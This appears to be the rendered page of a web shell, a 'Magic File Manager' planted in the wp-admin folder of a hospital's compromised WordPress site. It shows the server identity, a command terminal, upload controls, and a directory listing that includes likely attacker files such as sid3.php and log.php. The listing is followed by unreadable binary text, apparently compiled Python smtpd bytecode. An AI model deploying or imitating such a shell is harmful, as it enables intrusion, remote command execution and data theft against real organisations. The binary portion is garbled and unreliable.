✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 \Ÿ‡ã@sZddlZddlZddlZddlZddlZddlZddlZddlZddlZddl m Z ddl m Z m Z dddddgZejdZd ZGd d „d ƒZeƒad Zd ZdZd$dd„ZGdd„dejƒZGdd„dejƒZGdd„deƒZGdd„deƒZGdd„deƒZGdd„dƒZdd„Z e!dk�rVe ƒZ"e"j#Z#de#k�rle#j$dƒZ%e&e#de%…e'ƒe(ƒdgƒZ)e#e%dd…Z#nddl*Z)e+e)e#ƒZ,e,e"j-e"j.fe"j/e"j0fe"j1e"j2d�Z3e"j4�r2y ddl5Z5Wn.e6k �räe7dej8d �ej9dƒYnXe5j:d!ƒd"Z;yej4e;ƒWn.ek �rTYnXdS)%éN)Úwarn)Ú get_addr_specÚget_angle_addrÚ SMTPChannelÚ SMTPServerÚDebuggingServerÚ PureProxyÚ MailmanProxyzPython SMTP proxy version 0.3c@seZdZdd„Zdd„ZdS)ÚDevnullcCsdS)N©)ÚselfÚmsgr r ú/usr/lib64/python3.6/smtpd.pyÚwritefsz Devnull.writecCsdS)Nr )r r r rÚflushgsz Devnull.flushN)Ú__name__Ú __module__Ú __qualname__rrr r r rr esr Ú z, iÚcCs4tttƒtjd�|r&t|tjd�tj|ƒdS)N)Úfile)ÚprintÚ__doc__ÚglobalsÚsysÚstderrÚexit)Úcoder r r rÚusagepsrc@sþeZdZdZdZdZejefdd„ƒZe dd„ƒZ e dd d fd d „Z d d „Z dd„Ze dd„ƒZejdd„ƒZe dd„ƒZejdd„ƒZe dd„ƒZejdd„ƒZe dd„ƒZejdd„ƒZe dd„ƒZejdd„ƒZe dd „ƒZejd!d „ƒZe d"d#„ƒZejd$d#„ƒZe d%d&„ƒZejd'd&„ƒZe d(d)„ƒZejd*d)„ƒZe d+d,„ƒZejd-d,„ƒZe d.d/„ƒZejd0d/„ƒZd1d2„Zd3d4„Zd5d6„Zd7d8„Zd9d:„Zd;d<„Z d=d>„Z!d?d@„Z"dAdB„Z#dCdD„Z$dEdF„Z%dGdH„Z&dIdJ„Z'dKdL„Z(dMdN„Z)dOdP„Z*dQdR„Z+dS)SrréicCs|S)Nr )Úxr r rÚ|szSMTPChannel.c Cs*yt|jjƒƒStk r$|jSXdS)N)ÚmaxÚcommand_size_limitsÚvaluesÚ ValueErrorÚcommand_size_limit)r r r rÚmax_command_size_limit~sz"SMTPChannel.max_command_size_limitNFc Cstjj|||d�||_||_||_||_||_||_|rF|rFt dƒ‚|rdd|_ d|_ d|_ t |_nd|_ d|_ tdƒ|_ d |_|jƒd|_d |_|jjƒtjƒ|_y|jƒ|_Wn:tk rð}z|jƒ|jd tjkrâ‚dSd}~XnXtd t |jƒt!d �|j"d|jt#fƒdS)N)ÚmapzFdecode_data and enable_SMTPUTF8 cannot be set to True at the same timerz Ú.ós ó.ó FrzPeer:)rz 220 %s %s)$ÚasynchatÚ async_chatÚ__init__Ú smtp_serverÚconnÚaddrÚdata_size_limitÚenable_SMTPUTF8Ú _decode_datar%Ú _emptystringÚ_linesepÚ_dotsepÚNEWLINEÚ_newlineÚordÚ_set_rset_stateÚ seen_greetingÚ extended_smtpr#ÚclearÚsocketZgetfqdnÚfqdnZ getpeernameÚpeerÚOSErrorÚcloseÚargsÚerrnoZENOTCONNrÚreprÚ DEBUGSTREAMÚpushÚ __version__) r Zserverr1r2r3r(r4Ú decode_dataÚerrr r rr/…s@   zSMTPChannel.__init__cCs.|j|_d|_g|_d|_d|_|jdƒdS)NFrs )ÚCOMMANDÚ smtp_stateÚmailfromÚrcpttosÚrequire_SMTPUTF8Ú num_bytesÚset_terminator)r r r rÚ_set_post_data_state¬s z SMTPChannel._set_post_data_statecCs|jƒd|_g|_dS)Nr)rTÚ received_dataÚreceived_lines)r r r rr<µszSMTPChannel._set_rset_statecCstdtdƒ|jS)NzTAccess to __server attribute on SMTPChannel is deprecated, use 'smtp_server' insteadé)rÚDeprecationWarningr0)r r r rÚ__server½szSMTPChannel.__servercCstdtdƒ||_dS)NzRSetting __server attribute on SMTPChannel is deprecated, set 'smtp_server' insteadrW)rrXr0)r Úvaluer r rrYÂscCstdtdƒ|jS)NzUAccess to __line attribute on SMTPChannel is deprecated, use 'received_lines' insteadrW)rrXrV)r r r rÚ__lineÈszSMTPChannel.__linecCstdtdƒ||_dS)NzSSetting __line attribute on SMTPChannel is deprecated, set 'received_lines' insteadrW)rrXrV)r rZr r rr[ÍscCstdtdƒ|jS)NzRAccess to __state attribute on SMTPChannel is deprecated, use 'smtp_state' insteadrW)rrXrN)r r r rÚ__stateÓszSMTPChannel.__statecCstdtdƒ||_dS)NzPSetting __state attribute on SMTPChannel is deprecated, set 'smtp_state' insteadrW)rrXrN)r rZr r rr\ØscCstdtdƒ|jS)NzXAccess to __greeting attribute on SMTPChannel is deprecated, use 'seen_greeting' insteadrW)rrXr=)r r r rÚ __greetingÞszSMTPChannel.__greetingcCstdtdƒ||_dS)NzVSetting __greeting attribute on SMTPChannel is deprecated, set 'seen_greeting' insteadrW)rrXr=)r rZr r rr]ãscCstdtdƒ|jS)NzSAccess to __mailfrom attribute on SMTPChannel is deprecated, use 'mailfrom' insteadrW)rrXrO)r r r rÚ __mailfromészSMTPChannel.__mailfromcCstdtdƒ||_dS)NzQSetting __mailfrom attribute on SMTPChannel is deprecated, set 'mailfrom' insteadrW)rrXrO)r rZr r rr^îscCstdtdƒ|jS)NzQAccess to __rcpttos attribute on SMTPChannel is deprecated, use 'rcpttos' insteadrW)rrXrP)r r r rÚ __rcpttosôszSMTPChannel.__rcpttoscCstdtdƒ||_dS)NzOSetting __rcpttos attribute on SMTPChannel is deprecated, set 'rcpttos' insteadrW)rrXrP)r rZr r rr_ùscCstdtdƒ|jS)NzTAccess to __data attribute on SMTPChannel is deprecated, use 'received_data' insteadrW)rrXrU)r r r rÚ__dataÿszSMTPChannel.__datacCstdtdƒ||_dS)NzRSetting __data attribute on SMTPChannel is deprecated, set 'received_data' insteadrW)rrXrU)r rZr r rr`scCstdtdƒ|jS)NzKAccess to __fqdn attribute on SMTPChannel is deprecated, use 'fqdn' insteadrW)rrXrA)r r r rÚ__fqdn szSMTPChannel.__fqdncCstdtdƒ||_dS)NzISetting __fqdn attribute on SMTPChannel is deprecated, set 'fqdn' insteadrW)rrXrA)r rZr r rrascCstdtdƒ|jS)NzKAccess to __peer attribute on SMTPChannel is deprecated, use 'peer' insteadrW)rrXrB)r r r rÚ__peerszSMTPChannel.__peercCstdtdƒ||_dS)NzISetting __peer attribute on SMTPChannel is deprecated, set 'peer' insteadrW)rrXrB)r rZr r rrbscCstdtdƒ|jS)NzKAccess to __conn attribute on SMTPChannel is deprecated, use 'conn' insteadrW)rrXr1)r r r rÚ__conn szSMTPChannel.__conncCstdtdƒ||_dS)NzISetting __conn attribute on SMTPChannel is deprecated, set 'conn' insteadrW)rrXr1)r rZr r rrc%scCstdtdƒ|jS)NzKAccess to __addr attribute on SMTPChannel is deprecated, use 'addr' insteadrW)rrXr2)r r r rÚ__addr+szSMTPChannel.__addrcCstdtdƒ||_dS)NzISetting __addr attribute on SMTPChannel is deprecated, set 'addr' insteadrW)rrXr2)r rZr r rrd0scCs&tjj|t|d|jrdndƒƒdS)Nz zutf-8Úascii)r-r.rIÚbytesrQ)r r r r rrI7s zSMTPChannel.pushcCs|d}|j|jkr|j}n|j|jkr*|j}|r<|j|krr#r&Úgetattrrgr3Úsplitr7r8rir:rUrBrOrProrpr0Úprocess_messagerT) r ÚlineZszÚiÚcommandÚargZmax_szÚmethodrkÚtextrEÚkwargsZstatusr r rÚfound_terminatorLsd        zSMTPChannel.found_terminatorcCsH|s|jdƒdS|jr&|jdƒdS|jƒ||_|jd|jƒdS)Nz501 Syntax: HELO hostnamez503 Duplicate HELO/EHLOz250 %s)rIr=r<rA)r r{r r rÚ smtp_HELOŠs  zSMTPChannel.smtp_HELOcCs²|s|jdƒdS|jr&|jdƒdS|jƒ||_d|_|jd|jƒ|jrr|jd|jƒ|jdd7<|js‚|jdƒ|jr¤|jd ƒ|jdd 7<|jd ƒdS) Nz501 Syntax: EHLO hostnamez503 Duplicate HELO/EHLOTz250-%sz 250-SIZE %sÚMAILéz 250-8BITMIMEz 250-SMTPUTF8é z250 HELP) rIr=r<r>rAr3r#r5r4)r r{r r rÚ smtp_EHLO–s&    zSMTPChannel.smtp_EHLOcCs|r|jdƒn |jdƒdS)Nz501 Syntax: NOOPz250 OK)rI)r r{r r rÚ smtp_NOOP¬s zSMTPChannel.smtp_NOOPcCs|jdƒ|jƒdS)Nz221 Bye)rIZclose_when_done)r r{r r rÚ smtp_QUIT²s zSMTPChannel.smtp_QUITcCs0t|ƒ}|d|…jƒ|kr,||d…jƒSdS)Nr)rhrsrt)r Úkeywordr{Zkeylenr r rÚ_strip_command_keyword·sz"SMTPChannel._strip_command_keywordcCsF|sdS|jƒjdƒr$t|ƒ\}}n t|ƒ\}}|s<||fS|j|fS)Nrú<)rr)ÚlstripÚ startswithrrZ addr_spec)r r{ÚaddressÚrestr r rÚ_getaddr½s zSMTPChannel._getaddrcCsNi}xD|D]<}|jdƒ\}}}|jƒ s2|r6| r6dS|r>|nd||<q W|S)Nú=T)Ú partitionÚisalnum)r ÚparamsÚresultZparamÚeqrZr r rÚ _getparamsÈs zSMTPChannel._getparamscCs|rôd}|jƒ}|dkr$|jdƒqþ|dkr8|jdƒqþ|dkr^d}|jrR||7}|j|ƒqþ|dkr„d }|jrx||7}|j|ƒqþ|d kr˜|jd ƒqþ|d kr¬|jd ƒqþ|dkrÀ|jdƒqþ|dkrÔ|jdƒqþ|dkrè|jdƒqþ|jdƒn |jdƒdS)Nz [SP ]ZEHLOz250 Syntax: EHLO hostnameZHELOz250 Syntax: HELO hostnamer�z 250 Syntax: MAIL FROM:
ZRCPTz250 Syntax: RCPT TO:
rgz250 Syntax: DATAZRSETz250 Syntax: RSETZNOOPz250 Syntax: NOOPZQUITz250 Syntax: QUITZVRFYz250 Syntax: VRFY
zD501 Supported commands: EHLO HELO MAIL RCPT DATA RSET NOOP QUIT VRFYzD250 Supported commands: EHLO HELO MAIL RCPT DATA RSET NOOP QUIT VRFY)rsrIr>)r r{ZextendedZlc_argr r r rÚ smtp_HELPÓs:          zSMTPChannel.smtp_HELPcCs@|r2|j|ƒ\}}|r"|jdƒq<|jd|ƒn |jdƒdS)NzB252 Cannot VRFY user, but will accept message and attempt deliveryz502 Could not VRFY %sz501 Syntax: VRFY
)rŽrI)r r{rŒr’r r rÚ smtp_VRFYös  zSMTPChannel.smtp_VRFYcCsÒ|js|jdƒdStd|td�d}|jr4|d7}|dkrJ|j|ƒdS|jd|ƒ}|j|ƒ\}}|sv|j|ƒdS|j r�|r�|j|ƒdS|jr¤|jdƒdS|jƒj ƒ|_ |j |j ƒ}|dkrÔ|j|ƒdS|j �s|j dd ƒ}|dk�r|jd ƒdS|j�r>|j d d ƒ}|dk�r&d|_n|d k �r>|jdƒdS|j ddƒ}|�rŽ|jƒ�sh|j|ƒdS|j�rŽt|ƒ|jk�rŽ|jdƒdSt|jƒƒdk�r®|jdƒdS||_td|jtd�|jdƒdS)Nz503 Error: send HELO firstz ===> MAIL)rz 501 Syntax: MAIL FROM:
z [SP ]zFROM:z503 Error: nested MAIL commandZBODYÚ7BITÚ8BITMIMEz1501 Error: BODY can only be one of 7BIT, 8BITMIMEZSMTPUTF8FTz&501 Error: SMTPUTF8 takes no argumentsZSIZEz:552 Error: message size exceeds fixed maximum message sizerz:555 MAIL FROM parameters not recognized or not implementedzsender:z250 OK)r˜r™)r=rIrrHr>rˆrŽrOrsrvror•r5Úpopr4rQÚisdigitr3ÚintrhÚkeys)r r{Ú syntaxerrrŒr’ZbodyÚsmtputf8Úsizer r rÚ smtp_MAILsh                     zSMTPChannel.smtp_MAILcCs|js|jdƒdStd|td�|js6|jdƒdSd}|jrH|d7}|dkr^|j|ƒdS|jd|ƒ}|j|ƒ\}}|sŠ|j|ƒdS|j r¤|r¤|j|ƒdS|jƒj ƒ|_ |j |j ƒ}|dkrÔ|j|ƒdSt |j ƒƒdkrò|jd ƒdS|jj|ƒtd |jtd�|jd ƒdS) Nz503 Error: send HELO firstz ===> RCPT)rz503 Error: need MAIL commandz501 Syntax: RCPT TO:
z [SP ]zTO:rz8555 RCPT TO parameters not recognized or not implementedzrecips:z250 OK)r=rIrrHrOr>rˆrŽrsrvrpr•rhr�rPri)r r{ržrŒr’r r rÚ smtp_RCPT7s@           zSMTPChannel.smtp_RCPTcCs(|r|jdƒdS|jƒ|jdƒdS)Nz501 Syntax: RSETz250 OK)rIr<)r r{r r rÚ smtp_RSETZs  zSMTPChannel.smtp_RSETcCsZ|js|jdƒdS|js(|jdƒdS|r:|jdƒdS|j|_|jdƒ|jdƒdS)Nz503 Error: send HELO firstz503 Error: need RCPT commandz501 Syntax: DATAs . z#354 End data with .)r=rIrPrgrNrS)r r{r r rÚ smtp_DATAas    zSMTPChannel.smtp_DATAcCs|jdƒdS)Nz502 EXPN not implemented)rI)r r{r r rÚ smtp_EXPNpszSMTPChannel.smtp_EXPN),rrrrMrgr&Ú collectionsÚ defaultdictr#Úpropertyr'ÚDATA_SIZE_DEFAULTr/rTr<Z_SMTPChannel__serverÚsetterZ_SMTPChannel__lineZ_SMTPChannel__stateZ_SMTPChannel__greetingZ_SMTPChannel__mailfromZ_SMTPChannel__rcpttosZ_SMTPChannel__dataZ_SMTPChannel__fqdnZ_SMTPChannel__peerZ_SMTPChannel__connZ_SMTPChannel__addrrIrmrr€r„r…r†rˆrŽr•r–r—r¡r¢r£r¤r¥r r r rrws` &            >   # 6#c@s2eZdZeZedddfdd„Zdd„Zdd„ZdS) rNFc CsÎ||_||_||_||_||_|r.|r.tdƒ‚tjj||d�yNt j |dt j iŽ}|j |dd|ddƒ|j ƒ|j|ƒ|jdƒWn|jƒ‚Yn(Xtd|jjtjtjƒƒ||ftd�dS) NzFdecode_data and enable_SMTPUTF8 cannot be set to True at the same time)r(Útyperréz0%s started at %s Local addr: %s Remote addr:%s)r)Z _localaddrÚ _remoteaddrr3r4r5r%ÚasyncoreÚ dispatcherr/r@Z getaddrinfoZ SOCK_STREAMZ create_socketZset_reuse_addrZbindZlistenrDrÚ __class__rÚtimeÚctimerH)r Z localaddrZ remoteaddrr3r(r4rKZ gai_resultsr r rr/xs*  zSMTPServer.__init__cCs6tdt|ƒtd�|j||||j|j|j|jƒ}dS)NzIncoming connection from %s)r)rrGrHÚ channel_classr3Z_mapr4r5)r r1r2Zchannelr r rÚhandle_accepted”szSMTPServer.handle_acceptedcKst‚dS)N)ÚNotImplementedError)r rBrOrPrkr~r r rrwŸszSMTPServer.process_message) rrrrr³r©r/r´rwr r r rrts  c@seZdZdd„Zdd„ZdS)rcCsrd}|jƒ}x`|D]X}|rP| rPd|d}t|tƒsDt|jdƒƒ}t|ƒd}t|tƒsbt|ƒ}t|ƒqWdS)NrzX-Peer: rzutf-8)Ú splitlinesÚ isinstancerjrGÚencoder)r rBrkZ inheadersÚlinesrxZ peerheaderr r rÚ_print_message_contentÃs     z&DebuggingServer._print_message_contentcKsXtdƒ|r@|jdƒr&td|dƒ|jdƒr@td|dƒ|j||ƒtdƒdS)Nz%---------- MESSAGE FOLLOWS ----------rozmail options: %srpzrcpt options: %s z%------------ END MESSAGE ------------)rÚgetrº)r rBrOrPrkr~r r rrwÔs   zDebuggingServer.process_messageN)rrrrºrwr r r rrÁscs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)rcs.d|kr|drtdƒ‚tt|ƒj||ŽdS)Nr4z$PureProxy does not support SMTPUTF8.)r%Úsuperrr/)r rEr~)r°r rr/àszPureProxy.__init__c Csh|jdƒ}d}x|D]}|sP|d7}qW|j|d|dƒtj|ƒ}|j|||ƒ}td|td�dS)Nrrrz X-Peer: %szwe got some refusals:)r)rvÚinsertr9rqÚ_deliverrrH) r rBrOrPrkr¹ryrxÚrefusedr r rrwås    zPureProxy.process_messagec Csòddl}i}yB|jƒ}|j|jd|jdƒz|j|||ƒ}Wd|jƒXWnž|jk r„}ztdtd�|j }WYdd}~Xnjt |j fk rì}zHtd|j td�t |dd ƒ}t |ddƒ} x|D]} || f|| <qÈWWYdd}~XnX|S) Nrrzgot SMTPRecipientsRefused)rZgotZ smtp_codeZ smtp_errorÚignoreéÿÿÿÿ)ÚsmtplibZSMTPZconnectr­ZsendmailÚquitZSMTPRecipientsRefusedrrHZ recipientsrCZ SMTPExceptionr°ru) r rOrPrkrÂr¿ÚsÚeZerrcodeÚerrmsgÚrr r rr¾ós$    "zPureProxy._deliver)rrrr/rwr¾Ú __classcell__r r )r°rrßs cs$eZdZ‡fdd„Zdd„Z‡ZS)r cs.d|kr|drtdƒ‚tt|ƒj||ŽdS)Nr4z'MailmanProxy does not support SMTPUTF8.)r%r¼rr/)r rEr~)r°r rr/ szMailmanProxy.__init__cCs:ddlm}ddlm}ddlm}ddlm}g} x~|D]v} | jƒjdƒd} | jdƒ} t| ƒdkrhq:| d} t| ƒdkr†| d }nd }|j | ƒ s:|d!kr q:| j | | |fƒq:Wx| D]\} } }|j | ƒqºWt ddj |ƒtd�|�r|j|||ƒ}t d|td�i}||ƒ}|j|ƒ}|jdƒ�s2||d<|jdƒ�sPtjtjƒƒ|d<xä| D]Ü\} } }t d| td�|j| ƒ}|�s”|j| dd�}||| <|d k�r®|j|d d�n‚|d k�rÈ|j|d d�nh|d k�râ|j|d d�nN|d k�rü|j|d d�n4|d"k�rV|dk�rd|d<nd |d<|j|d d��qVWdS)#Nr)ÚStringIO)ÚUtils)ÚMessage)ÚMailListú@ú-rWrrÚadminÚownerÚrequestrqÚleavezforwarding recips:rn)rzwe got refusals:ÚfromZFromZdateZDatezsending message to)Úlock)Útolist)Ztoadmin)Ztoowner)Z torequestZ subscribeZSubjectZ unsubscribe)rrÏrÐrÑrqrÒ)rqrÒ)ÚiorÉZMailmanrÊrËrÌÚlowerrvrhZ list_existsriÚremoverrqrHr¾r»r±r²ZEnqueue)r rBrOrPrkrÉrÊrËrÌZ listnamesZrcptZlocalÚpartsZlistnamerzr¿ZmlistsrÄr Zmlistr r rrwsd                    zMailmanProxy.process_message)rrrr/rwrÈr r )r°rr s c@seZdZdZdZdZdZdS)ÚOptionsTrNF)rrrÚsetuidÚ classnameÚ size_limitr4r r r rrÚ_srÚc !Csty.tjtjdd…dddddddd gƒ\}}Wn.tjk r\}ztd|ƒWYdd}~XnXtƒ}xÂ|D]º\}}|d'kr„td ƒqj|d(kr ttƒtjd ƒqj|d)kr°d|_ qj|d*krÀ||_ qj|d+krÐtj a qj|d,kràd|_ qj|d-krjyt|ƒ}||_Wqjtd|tj d�tjdƒYqjXqjWt|ƒdk�r@d}d}nPt|ƒdk�r\|d }d}n4t|ƒd k�r||d }|d}ntdd!tj|ƒƒ|jd"ƒ} | d k�r²tdd#|ƒ|d| …|_yt|| dd…ƒ|_Wn$tk �rþtdd$|ƒYnX|jd"ƒ} | d k�r"tdd%|ƒ|d| …|_yt|| dd…ƒ|_Wn$tk �rntdd&|ƒYnX|S).Nrz nVhc:s:duzclass=ZnosetuidÚversionÚhelpzsize=ÚdebugrŸú-hú--helprú-Vú --versionú-nú --nosetuidFú-cú--classú-dú--debugú-uú --smtputf8Tú-sú--sizezInvalid size: )rzlocalhost:8025z localhost:25rWézInvalid arguments: %sú:zBad local spec: %szBad local port: %szBad remote spec: %szBad remote port: %s)rárâ)rãrä)råræ)rçrè)rérê)rërì)rírî)ÚgetoptrÚargvÚerrorrrÚrrJrrÛrÜrrHr4rœrÝrhÚ COMMASPACErqrrÚ localhostÚ localportr%Ú remotehostÚ remoteport) ZoptsrErÅÚoptionsÚoptr{Zint_sizeZ localspecZ remotespecryr r rÚ parseargsfsp         rûÚ__main__r)r)r4z7Cannot import module "pwd"; try running with -n option.)rÚnobodyrWz3Cannot setuid "nobody"; try running with -n option.)r)?rÚosrFrñr±r@r®r-r¦ÚwarningsrZemail._header_value_parserrrÚ__all__ròZprogramrJr rHr9rôr©rr.rr¯rrrr rÚrûrrùrÜÚrfindZlastdotÚ __import__rÚlocalsÚmodrüruZclass_rõrör÷rørÝr4ÚproxyrÛÚpwdÚ ImportErrorrrrÚgetpwnamrýÚPermissionErrorZloopÚKeyboardInterruptr r r rÚPsv   M-SB